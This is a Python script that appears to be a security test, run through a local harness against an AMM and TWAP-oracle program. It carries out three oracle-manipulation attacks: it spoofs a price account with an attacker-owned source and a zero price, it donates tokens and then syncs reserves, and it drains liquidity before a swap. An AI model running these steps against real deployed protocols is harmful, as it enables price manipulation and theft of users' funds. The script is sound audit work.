#!/usr/bin/env python3 """Attack set 2: spoofed price feeds, zero prices, donation+sync, liquidity drain.""" import sys sys.path.insert(0, "/home/vpavlin/devel/m1-local/harness") import h I = h.I; W = 600000; D = 18446744073709551615 Q = 2**64 which = sys.argv[1] if len(sys.argv) > 1 else "all" if which in ("all", "spoof"): # S1: anyone can stand up a "canonical" price account for the real TKA/TKB pair, sourced by # their own account, at any price. Consumers that check only (base, quote) are fooled. h.act("S1a attacker create_current_tick_account (own source) at price 1000", "twap_oracle", "twap_oracle", "create_current_tick_account", snap=False, current_tick_account=I["ATT_TICK"], price_source=I["ATTACKER_SRC"], clock=I["CLOCK"], initial_price=1000 * Q) h.act("S1b attacker create_oracle_price_account base=TKA quote=TKB price=1000", "twap_oracle", "twap_oracle", "create_oracle_price_account", snap=False, oracle_price_account=I["ATT_PRICE"], price_source=I["ATTACKER_SRC"], clock=I["CLOCK"], base_asset=I["DEF_A"], quote_asset=I["DEF_B"], initial_price=1000 * Q, window_duration=W) h.log_note("S1c spoofed price account contents", h.inspect("twap_oracle", I["ATT_PRICE"], "OraclePriceAccount")) h.act("S1d attacker update_current_tick to price 0 (zero price)", "twap_oracle", "twap_oracle", "update_current_tick", snap=False, current_tick_account=I["ATT_TICK"], price_source=I["ATTACKER_SRC"], clock=I["CLOCK"], price=0) h.log_note("S1e attacker tick after zero-price update", h.inspect("twap_oracle", I["ATT_TICK"], "CurrentTickAccount")) if which in ("all", "donate"): # S2: donate A directly into vault_a, then permissionless sync_reserves: spot and the oracle's # current tick jump without any swap. h.act("S2a donate 2e17 A straight into vault_a (token transfer)", "token", "token", "transfer", sender=I["HOLD_A"], recipient=I["VAULT_A"], amount_to_transfer=200000000000000000) h.act("S2b sync_reserves (permissionless) after donation", "amm", "amm", "sync_reserves", config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], current_tick_account=I["TICK"], clock=I["CLOCK"]) if which in ("all", "drain"): # S3: the LP removes (almost) everything: thin pool -> manipulating spot/oracle becomes cheap. lp = h.holding(I["LP_HOLD"]) h.act(f"S3a remove ALL user LP ({lp})", "amm", "amm", "remove_liquidity", config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], pool_definition_lp=I["POOL_LP"], user_holding_a=I["HOLD_A"], user_holding_b=I["HOLD_B"], user_holding_lp=I["LP_HOLD"], current_tick_account=I["TICK"], clock=I["CLOCK"], remove_liquidity_amount=lp, min_amount_to_remove_token_a=0, min_amount_to_remove_token_b=0, deadline=D) h.act("S3b tiny swap 1e3 A->B in the drained pool", "amm", "amm", "swap_exact_input", config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], user_input_holding=I["HOLD_A"], user_output_holding=I["HOLD_B"], current_tick_account=I["TICK"], clock=I["CLOCK"], protocol_fee_holding=I["PFEE_A"], swap_amount_in=1000, min_amount_out=0, deadline=D)